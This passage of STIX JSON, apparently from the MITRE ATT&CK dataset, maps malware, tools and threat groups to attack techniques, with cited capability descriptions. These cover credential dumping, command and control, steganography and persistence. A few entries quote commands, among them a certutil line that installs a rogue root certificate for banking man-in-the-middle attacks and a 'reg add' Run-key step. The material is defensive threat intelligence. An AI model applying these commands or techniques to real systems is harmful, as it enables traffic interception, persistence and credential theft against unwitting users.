                    "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, July 30). Sakula Malware Family. Retrieved January 26, 2016.",
                    "url": "http://www.secureworks.com/cyber-threat-intelligence/threats/sakula-malware-family/"
                }
            ],
            "source_ref": "malware--96b08451-b27a-4ff6-893f-790e26393a8e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T19:19:53.730Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--d88c3036-bcaf-4897-a47e-3cabc0dbc1b2",
            "source_ref": "intrusion-set--76565741-3452-4069-ab08-80c0ea95bbeb",
            "relationship_type": "uses",
            "target_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "external_references": [
                {
                    "description": "Unit42. (2016). SILVERTERRIER: THE RISE OF NIGERIAN BUSINESS EMAIL COMPROMISE. Retrieved November 13, 2018.",
                    "url": "https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/unit42-silverterrier-rise-of-nigerian-business-email-compromise",
                    "source_name": "Unit42 SilverTerrier 2018"
                }
            ],
            "description": "(Citation: Unit42 SilverTerrier 2018)",
            "type": "relationship",
            "modified": "2019-04-12T16:33:51.188Z",
            "created": "2019-01-29T21:37:00.007Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Radware Micropsia July 2018",
                    "url": "https://blog.radware.com/security/2018/07/micropsia-malware/",
                    "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018."
                }
            ],
            "description": "[Micropsia](https://attack.mitre.org/software/S0339) can perform a recursive directory listing for all volume drives available on the victim's machine and can also fetch specific files by their paths.(Citation: Radware Micropsia July 2018)",
            "id": "relationship--19f512b8-6869-460d-97d8-7e1f9b3c51cb",
            "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-04-17T22:05:05.810Z",
            "created": "2019-01-29T21:47:53.700Z"
        },
        {
            "id": "relationship--a566127b-1d88-4b38-84dd-4686e2837399",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Daserf](https://attack.mitre.org/software/S0187) can use steganography to hide malicious code downloaded to the victim.(Citation: Trend Micro Daserf Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
            "type": "relationship",
            "modified": "2020-03-19T21:19:05.640Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Octopus Oct 2018",
                    "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018."
                }
            ],
            "description": "[Octopus](https://attack.mitre.org/software/S0340) uses HTTP for C2 communications.(Citation: Securelist Octopus Oct 2018)",
            "id": "relationship--b58b7cb7-ba2a-40ef-9532-c134b8811415",
            "source_ref": "malware--e2031fd5-02c2-43d4-85e2-b64f474530c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:00:35.485Z",
            "created": "2019-01-30T13:24:09.158Z"
        },
        {
            "id": "relationship--e584ec5f-af99-4d61-8b02-3dbacae4adf4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Some variants of the [Zeroaccess](https://attack.mitre.org/software/S0027) Trojan have been known to store data in Extended Attributes.(Citation: Ciubotariu 2014)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Ciubotariu 2014",
                    "description": "Ciubotariu, M. (2014, January 23). Trojan.Zeroaccess.C Hidden in NTFS EA. Retrieved December 2, 2014.",
                    "url": "http://www.symantec.com/connect/blogs/trojanzeroaccessc-hidden-ntfs-ea"
                }
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-12-14T16:46:06.044Z",
            "source_ref": "malware--552462b9-ae79-49dd-855c-5973014e157f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f2857333-11d4-45bf-b064-2c28d8525be5"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/",
                    "source_name": "PaloAlto DNS Requests May 2016"
                }
            ],
            "description": "[APT18](https://attack.mitre.org/groups/G0026) can list files information for specific directories.(Citation: PaloAlto DNS Requests May 2016)",
            "id": "relationship--e3417dc3-f784-4306-8466-65a0067b63f1",
            "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2019-05-30T18:05:32.708Z",
            "created": "2019-01-30T14:00:49.826Z"
        },
        {
            "id": "relationship--6782d7bb-5e81-4656-9445-fbd6ae1f2bdb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[EvilGrab](https://attack.mitre.org/software/S0152) has the capability to capture video from a victim machine.(Citation: PWC Cloud Hopper Technical Annex April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "PWC Cloud Hopper Technical Annex April 2017",
                    "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
                }
            ],
            "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "type": "relationship",
            "modified": "2020-03-16T16:46:28.691Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can collect host IP information from the victim\u2019s machine.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--d8f527e3-a86a-431c-9110-b092343269bc",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.262Z",
            "created": "2019-01-30T15:19:15.005Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "[APT1](https://attack.mitre.org/groups/G0006) gathered a list of running processes on the system using <code>tasklist /v</code>.(Citation: Mandiant APT1)",
            "id": "relationship--38416e2a-3590-4827-9a6f-d8f1df6568af",
            "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "type": "relationship",
            "modified": "2019-08-20T13:08:13.225Z",
            "created": "2019-01-30T15:33:07.643Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) can encode data with a NOT operation before sending the data to the control server.(Citation: McAfee Oceansalt Oct 2018)",
            "id": "relationship--1dac9ffa-1523-4cab-b28f-2d5642ee08aa",
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d467bc38-284b-4a00-96ac-125f447799fc",
            "type": "relationship",
            "modified": "2020-03-20T18:23:25.543Z",
            "created": "2019-01-30T15:43:19.434Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can execute commands.(Citation: PaloAlto CardinalRat Apr 2017)",
            "id": "relationship--1ffac810-9c9e-4060-9902-737085ba8bc5",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T16:51:20.663Z",
            "created": "2019-01-30T16:39:54.273Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018.",
                    "url": "https://github.com/AlessandroZ/LaZagne",
                    "source_name": "GitHub LaZagne Dec 2018"
                }
            ],
            "description": "[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from memory to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)",
            "id": "relationship--43619944-94e9-43d9-a761-8e4db2113eef",
            "source_ref": "tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2020-03-19T23:11:54.971Z",
            "created": "2019-01-30T16:45:00.084Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                },
                {
                    "source_name": "Trend Micro Muddy Water March 2021",
                    "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html",
                    "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021."
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that can collect the victim\u2019s username.(Citation: Securelist MuddyWater Oct 2018)(Citation: Trend Micro Muddy Water March 2021)",
            "id": "relationship--d1d496f1-fa91-404e-a93a-97670817717a",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2021-03-19T13:43:29.624Z",
            "created": "2019-01-30T17:33:41.163Z"
        },
        {
            "id": "relationship--542bb806-3e73-42f5-8a3e-86b498093f4b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[certutil](https://attack.mitre.org/software/S0160) can be used to install browser root certificates as a precursor to performing man-in-the-middle between connections to banking websites. Example command: <code>certutil -addstore -f -user ROOT ProgramData\\cert512121.der</code>.(Citation: Palo Alto Retefe)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/",
                    "description": "Levene, B., Falcone, R., Grunzweig, J., Lee, B., Olson, R. (2015, August 20). Retefe Banking Trojan Targets Sweden, Switzerland and Japan. Retrieved July 3, 2017.",
                    "source_name": "Palo Alto Retefe"
                }
            ],
            "source_ref": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c615231b-f253-4f58-9d47-d5b4cbdb6839",
            "type": "relationship",
            "modified": "2019-07-31T19:57:28.946Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--54188543-7746-4158-9a9f-5556bb99ec7a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A backdoor used by [APT29](https://attack.mitre.org/groups/G0016) created a Tor hidden service to forward traffic from the Tor client to local ports 3389 (RDP), 139 (Netbios), and 445 (SMB) enabling full remote access from outside the network.(Citation: Mandiant No Easy Breach)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant No Easy Breach",
                    "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.",
                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016"
                }
            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.211Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/",
                    "source_name": "Unit42 Cannon Nov 2018"
                }
            ],
            "description": "[Cannon](https://attack.mitre.org/software/S0351) can collect the current time zone information from the victim\u2019s machine.(Citation: Unit42 Cannon Nov 2018)",
            "id": "relationship--a3d44c1d-2833-4355-b560-2a7a4fcaac14",
            "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-04-22T19:48:08.884Z",
            "created": "2019-01-30T18:58:04.085Z"
        },
        {
            "id": "relationship--d8427910-3c8f-4633-966f-e1a2a8d7c31c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "As part of the data reconnaissance phase, [Proxysvc](https://attack.mitre.org/software/S0238) grabs the system time to send back to the control server.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.169Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5bbe7733-4e20-4ee1-a29c-b8e7111781dd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) uses <code>reg add</code> to add a Registry Run key for persistence.(Citation: Rancor Unit42 June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Rancor Unit42 June 2018",
                    "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"
                }
            ],
            "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-19T19:52:53.265Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fcc12c1f-1a46-49f4-a872-99cb97968bf0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Agent.btz](https://attack.mitre.org/software/S0092) attempts to download an encrypted binary from a specified domain.(Citation: ThreatExpert Agent.btz)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ThreatExpert Agent.btz",
                    "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.",
                    "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"
                }
            ],
            "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-11T17:45:18.408Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--d93fb52b-985e-4012-9b9f-8638e35c18a0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Catchamas](https://attack.mitre.org/software/S0261) obtains application windows titles and then determines which windows to perform [Screen Capture](https://attack.mitre.org/techniques/T1113) on.(Citation: Symantec Catchamas April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Catchamas April 2018",
                    "description": "Balanza, M. (2018, April 02). Infostealer.Catchamas. Retrieved July 10, 2018.",
                    "url": "https://www-west.symantec.com/content/symantec/english/en/security-center/writeup.html/2018-040209-1742-99"
                }
            ],
            "source_ref": "malware--8d9e758b-735f-4cbc-ba7c-32cd15138b2a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830",
            "type": "relationship",
            "modified": "2020-03-16T16:28:16.012Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0d4e8cb8-c265-449a-b010-f4614135572f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[H1N1](https://attack.mitre.org/software/S0132) dumps usernames and passwords from Firefox, Internet Explorer, and Outlook.(Citation: Cisco H1N1 Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cisco H1N1 Part 2",
                    "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.",
                    "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2"
                }
            ],
            "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8",
            "type": "relationship",
            "modified": "2020-03-19T22:59:05.013Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--95a1ac52-e022-4c81-96cc-b7b39ca776d3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kasidet](https://attack.mitre.org/software/S0088) has the ability to identify any anti-virus installed on the infected system.(Citation: Zscaler Kasidet)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Zscaler Kasidet",
                    "description": "Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 2016.",
                    "url": "http://research.zscaler.com/2016/01/malicious-office-files-dropping-kasidet.html"
                }
            ],
            "source_ref": "malware--26fed817-e7bf-41f9-829a-9075ffac45c2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "type": "relationship",
            "modified": "2020-03-16T17:02:26.165Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4f5c53df-7076-4580-bd45-c4c9201269ae",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) queries the Registry for specific keys for potential privilege escalation and proxy information. [FELIXROOT](https://attack.mitre.org/software/S0267) has also used WMI to query the Windows Registry.(Citation: FireEye FELIXROOT July 2018)(Citation: ESET GreyEnergy Oct 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html",
                    "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.",
                    "source_name": "FireEye FELIXROOT July 2018"
                },
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T01:16:25.858Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--27afb647-85a1-4e89-8762-c6c7d04bc1c5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[pngdowner](https://attack.mitre.org/software/S0067) uses HTTP for command and control.(Citation: CrowdStrike Putter Panda)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "CrowdStrike Putter Panda",
                    "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.",
                    "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"
                }
            ],
            "source_ref": "malware--800bdfba-6d66-480f-9f45-15845c05cb5d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T02:11:01.284Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c8b0afbb-12eb-4b45-a1e1-b11755de2976",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to enumerate drive types.(Citation: Cylance Shell Crew Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Cylance Shell Crew Feb 2017",
                    "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.",
                    "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"
                }
            ],
            "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-19T22:02:48.956Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--da44c85c-914b-41e0-aef7-68cd3c1faea1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[JHUHUGIT](https://attack.mitre.org/software/S0044) performs code injection injecting its own functions to browser processes.(Citation: F-Secure Sofacy 2015)(Citation: Unit 42 Sofacy Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/",
                    "description": "F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.",
                    "source_name": "F-Secure Sofacy 2015"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "source_name": "Unit 42 Sofacy Feb 2018"
                }
            ],
            "source_ref": "malware--8ae43c46-57ef-47d5-a77a-eebb35628db2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
            "type": "relationship",
            "modified": "2020-03-20T16:40:41.146Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--42049cfe-e374-4726-9832-3ad01d8466a5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has used [Mimikatz](https://attack.mitre.org/software/S0002) to generate Kerberos golden tickets.(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
